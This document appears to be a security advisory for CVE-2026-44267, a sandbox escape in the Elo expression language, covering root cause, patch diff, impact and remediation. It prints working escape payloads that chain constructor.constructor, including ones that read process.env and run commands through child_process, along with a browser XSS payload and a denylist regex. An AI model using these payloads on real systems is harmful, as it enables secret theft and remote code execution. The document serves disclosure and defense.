CVE-2026-44267: Sandbox Escape and Arbitrary Code Execution in Elo Expression Language

Elo (@enspirit/elo) is an embeddable, purely functional expression language designed for no-code and low-code platforms, data transformation pipelines, and workflow automation engines. Its architecture aims to provide a secure evaluation sandbox by disallowing loops, unbounded recursion, and direct input/output operations. When evaluating user expressions, Elo parses the input string into an Abstract Syntax Tree (AST), transforms the AST into an Intermediate Representation (IR), and compiles the IR into executable target code, primarily JavaScript.

Prior to version 1.0.1, the JavaScript compilation pipeline in Elo contained a protection mechanism failure (CWE-693) leading to code injection (CWE-94) and Cross-Site Scripting (CWE-79). Specifically, the AST transformation layer failed to filter or reject JavaScript meta-properties during member access operations. When an Elo expression accessed properties on object literals, array literals, or dynamically typed variables, the compiler emitted direct JavaScript dot-notation property lookups without verifying if the property name referenced internal JavaScript runtime structures.

This flaw exposes a critical attack surface across any application that parses and executes untrusted Elo expressions using defaultFormats.elo.parse(), the bin/elo command-line interface, or browser-based evaluation tools such as the online Elo playground (elo-lang.org/try). By chaining .constructor.constructor on standard Elo data types, an unauthenticated attacker can traverse the JavaScript prototype chain to reach the global Function constructor.

Once the Function constructor is reached, the attacker can compile and invoke arbitrary JavaScript functions outside the restrictions of the Elo language specification. In server-side Node.js deployments, this permits full access to the process global and native modules like child_process, resulting in remote operating system command execution. In client-side browser deployments, it enables arbitrary script execution within the origin of the host web application.

The root cause of CVE-2026-44267 lies in the interaction between three distinct stages of the Elo compilation pipeline: lexical parsing in src/parser.ts, Intermediate Representation (IR) transformation in src/transform.ts, and code generation in src/compilers/javascript.ts. Each component makes assumptions about property safety that allow prototype reflection identifiers to pass through into the final compiled JavaScript payload.

First, the parser defined in src/parser.ts tokenizes member access expressions (written in dot notation as receiver.property). During lexical analysis and AST construction, the parser treats JavaScript meta-property names—specifically constructor, __proto__, and prototype—as standard, valid identifier tokens. No syntactic restriction prevents these identifiers from appearing as the right-hand operand of a member access expression.

Second, the AST is passed to src/transform.ts, where the transformWithDepth function converts AST nodes into typed IR nodes. When processing a member_access node, transformWithDepth infers the type of the target object and restricts property lookups to specific Elo type categories ('any', 'object', and 'array'). This type check was designed to prevent exposure of methods on internal wrapper objects, such as Luxon DateTime or Duration instances. However, because every JavaScript object and array inherits from Object.prototype, restricting access to 'object', 'array', and 'any' still permits resolution of inherited prototype properties on those permitted types.

Third, because src/transform.ts did not validate the expr.property string against a denylist of JavaScript prototype and reflection keys, the member_access node passed directly into the IR. Subsequently, the JavaScript compiler in src/compilers/javascript.ts emitted the property lookup verbatim into the generated JavaScript code. In the V8 and browser JavaScript runtimes, accessing ({}).constructor returns the native Object constructor function, and accessing the .constructor property of that function returns the native Function constructor, which evaluates arbitrary code strings identically to eval().

The vulnerability was remediated in commit 2136da1f64eec8ebf99890d3100be9394534b842 (released in version 1.0.1, commit d2a89a8db76a244eb740687524a7e8529b7554b5). The patch modifies src/transform.ts to enforce a strict denylist of JavaScript meta-properties during the AST-to-IR transformation phase.

Prior to the patch, transformWithDepth in src/transform.ts processed member_access expressions by inferring the receiver type and verifying that it belonged to ['any', 'object', 'array'], without inspecting the property name itself:

// Vulnerable code in src/transform.ts (prior to 1.0.1)
case 'member_access': {
  const objectIR = recurse(expr.object);
  const objectType = inferType(objectIR);
 
  // Only allow member access on data types (any, object, array)
  // This prevents exposing runtime internals like Luxon DateTime/Duration methods
  const allowedTypes: TypeKind[] = ['any', 'object', 'array'];
  if (!allowedTypes.includes(objectType.kind)) {
    throw new Error(
      `Cannot access member '${expr.property}' on type ${ Types.toString(objectType) }`
    );
  }
  // Proceeds to emit member_access IR node without checking expr.property
}

In the patched version, the developers introduced a FORBIDDEN_MEMBERS constant set containing seven standard JavaScript prototype and property descriptor reflection keys. Inside transformWithDepth, the code now checks FORBIDDEN_MEMBERS.has(expr.property) before evaluating type constraints:

diff --git a/src/transform.ts b/src/transform.ts
index 59c86621..4b177242 100644
--- a/src/transform.ts
+++ b/src/transform.ts
@@ -46,6 +46,16 @@ import { EloType, Types, TypeKind } from './types';
 import { eloTypeDefs } from './typedefs';
 import { parseExtractTemplate } from './extract';
 
+// Define a static denylist of JavaScript prototype and reflection properties
+const FORBIDDEN_MEMBERS: ReadonlySet<string> = new Set([
+  'constructor',
+  '__proto__',
+  'prototype',
+  '__defineGetter__',
+  '__defineSetter__',
+  '__lookupGetter__',
+  '__lookupSetter__',
+]);
+
 /**
  * Type environment: maps variable names to their inferred types
  */
@@ -145,6 +155,13 @@ function transformWithDepth(
       const objectIR = recurse(expr.object);
       const objectType = inferType(objectIR);
 
+      // Reject forbidden meta-properties before emitting IR
+      if (FORBIDDEN_MEMBERS.has(expr.property)) {
+        throw new Error(
+          `Member access '.${expr.property}' is forbidden: this name would ` +
+          `expose the host runtime and is not a valid Elo property.`
+        );
+      }
+
       // Only allow member access on data types (any, object, array)
       // This prevents exposing runtime internals like Luxon DateTime/Duration methods
       const allowedTypes: TypeKind[] = ['any', 'object', 'array'];

> [!NOTE] > Assessment of Fix Completeness: The patch blocks dot-notation access to constructor, __proto__, prototype, and legacy getter/setter reflection methods at the IR transformation layer. Because Elo's member_access syntax requires static identifier tokens parsed by src/parser.ts (and does not support arbitrary dynamic bracket-notation string concatenation for property lookups in the same pathway), blocking these static identifiers in transformWithDepth effectively neutralizes the plain-string prototype traversal vector. As noted in the official advisory, this plain-string path is distinct from programmatic AST-object injection where a caller manually constructs an AST bypassing src/parser.ts and src/transform.ts.

Exploiting CVE-2026-44267 requires no authentication or specialized privileges, only the ability to submit an Elo expression string that is parsed and executed by a vulnerable version of @enspirit/elo (< 1.0.1). The attacker constructs an expression that instantiates a valid Elo data type—such as an object literal, an array literal, or a lambda function parameter—and chains .constructor.constructor to invoke the JavaScript Function constructor.

In the upstream security regression test suite (test/unit/security.unit.test.ts), three primary gadget chains are documented to reach the Function constructor across different Elo type kinds:

// 1. Escape via Object Literal ('object' type kind)
({}).constructor.constructor('return process')()
 
// 2. Escape via Array Literal ('array' type kind)
[].constructor.constructor('return 1')()
 
// 3. Escape via Lambda Parameter Reflection ('any' type kind)
(fn(x ~> x.constructor.constructor('return 1')()))({})

When targeting a Node.js backend service or the bin/elo CLI runner, an attacker can pass JavaScript payloads into the Function constructor to read sensitive environment variables or execute operating system commands. For example, to extract all environment variables and secrets from the Node.js process:

({}).constructor.constructor('return process.env')()

To achieve arbitrary command execution on a Node.js host where standard CommonJS module loading is accessible via the process object:

({}).constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')()

When targeting a browser environment, such as the auto-running online playground (elo-lang.org/try) or a client-side web application evaluating Elo formulas from URL parameters or shared templates, the attacker supplies DOM manipulation payloads:

({}).constructor.constructor('alert(document.domain)')()

When compiled by src/compilers/javascript.ts and executed in the browser, this payload runs immediately within the security origin of the web application, granting read/write access to document.cookie, localStorage, session tokens, and authenticated API endpoints.

CVE-2026-44267 is rated Critical with a CVSS v3.1 base score of 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). The attack vector is Network (AV:N) with Low attack complexity (AC:L), requiring neither privileges (PR:N) nor user interaction (UI:N) when expressions are automatically evaluated by backend services or auto-running web interfaces.

In server-side Node.js environments—such as low-code workflow automation platforms, CI/CD pipelines, or data processing microservices—the vulnerability completely bypasses the functional language sandbox. Attackers gain full code execution privileges equivalent to the OS user running the Node.js process. This results in total loss of Confidentiality (C:H) through theft of environment secrets, database credentials, and source code; total loss of Integrity (I:H) via arbitrary file modification and internal network pivoting; and total loss of Availability (A:H) via process termination or resource exhaustion.

In browser-based environments, the vulnerability manifests as stored or reflected Cross-Site Scripting (XSS). If an application renders or evaluates Elo expressions shared between users (or passed via URL query parameters in playground environments), an attacker can execute arbitrary JavaScript in the victim's browser session. This permits session hijacking, credential harvesting, and unauthorized actions performed on behalf of the authenticated user.

The primary remediation is to upgrade @enspirit/elo (or elo) to version 1.0.1 or later. Version 1.0.1 enforces the FORBIDDEN_MEMBERS denylist in src/transform.ts, causing the compiler to throw a fatal error whenever an expression attempts to access .constructor, .__proto__, .prototype, or property descriptor methods (__defineGetter__, __defineSetter__, __lookupGetter__, __lookupSetter__).

# Upgrade using npm
npm install @enspirit/elo@^1.0.1
 
# Upgrade using yarn
yarn upgrade @enspirit/elo@^1.0.1

For environments where an immediate dependency upgrade cannot be deployed, administrators and developers must implement pre-execution input validation. Before passing any untrusted string to defaultFormats.elo.parse() or the Elo CLI, inspect the raw input string and reject any expression containing dot-notation references to JavaScript prototype reflection properties:

const FORBIDDEN_PATTERN = /\.(constructor|__proto__|prototype|__defineGetter__|__defineSetter__|__lookupGetter__|__lookupSetter__)\b/;
 
if (FORBIDDEN_PATTERN.test(untrustedEloInput)) {
  throw new Error('Rejected unsafe Elo expression containing forbidden prototype properties.');
}

As a defense-in-depth measure, backend services that evaluate user-supplied expressions should not rely solely on language-level translation barriers for security isolation. Services executing compiled JavaScript should run inside isolated execution contexts (such as restricted V8 isolates, WebAssembly sandboxes, or ephemeral, unprivileged containers with read-only filesystems and restricted network egress).